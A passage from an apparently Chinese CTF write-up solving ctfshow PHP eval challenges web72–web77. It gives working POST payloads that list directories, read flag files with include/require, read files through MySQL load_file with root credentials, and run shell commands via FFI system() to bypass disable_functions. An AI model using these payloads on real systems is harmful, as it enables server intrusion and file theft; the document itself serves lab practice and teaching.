3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E

源码:

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

web73

原始信息

// 报错
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

解题

// 这次没有锁死目录
POST:
c=echo(var_export(scandir('/'),true));exit();
return:
bin dev etc flagc.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

// 读取flagc.txt
POST:
c=require('/flagc.txt');exit();
return:
ctfshow{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

web74

原始信息

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

解题

# 函数被锁,还是这个好查些:
POST:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
return:
bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

# 一度以为是幻觉
POST:
c=?><?php include('/flagx.txt');exit();
return:
ctfshow{139d5b9c-e5dd-44c2-95c1-357eec0b8a96}

web75~web76

原始信息

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

解题

# 函数被锁,还是这个好查些:
POST:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
return:
bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
POST:
c=echo(__DIR__);exit();
return:
/var/www/html

# 官方使用的是数据库的语法,进行本地扫描和获取文件内容
POST:
try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('select load_file("/flag36.txt")') as $row){echo ($row[0])."|";}$dbh=null;}catch(PDOException $e){echo $e->getMessage();exit(0);}exit(0);
return:
ctfshow{139d5b9c-e5dd-44c2-95c1-357eec0b8a96}

稍微解析下WP的信息:

<?php
// 报错函数try
try {
// PDO连接到数据库,且前提是:数据库为本地,库名为ctftraining,用户名为root,密码为root
// PDO必须连接正确才能接着往下读取
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
// foreach读取查询语句查询到的内容;查询的内容为"/flag36.txt"
// 这里调用的是数据库函数读取文件内容
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
// 获取具体报错信息
echo $e->getMessage();
exit(0);
}
exit(0);

这里的思路有些生僻,有点难想qwq。

web77

原始信息

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

解题

这里有一个很重要的点必须get:
解题使用的不仅仅是内置的常用函数,还有一些插件等都需要我们搞。
无论内置外置,只论能否达到目的。

POST:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
return:
bin boot dev etc flag36x.txt home lib lib64 media mnt opt proc readflag root run sbin srv sys tmp usr var

POST:
c=echo(__DIR__);exit();
return:
/var/www/html
POST:
c=?><?php $ffi=FFI::cdef("int system(const char *command);");$a = 'cat /flag > /var/www/html/poc.txt';$ffi->system($a);exit();?>
c=?><?php $ffi=FFI::cdef("int system(const char *command);");$a = 'ls>/var/www/html/poc.txt';$ffi->system($a);exit();?>
return:
没有回显
POST:
// 查看当前目录结构
c=echo(var_export(scandir('.'),true));
return:
array ( 0 => '.', 1 => '..', 2 => 'flag.php', 3 => 'index.php', 4 => 'poc.txt', )
POST:
c=include('poc.txt');exit();
c=echo(filesize('poc.txt'));exit();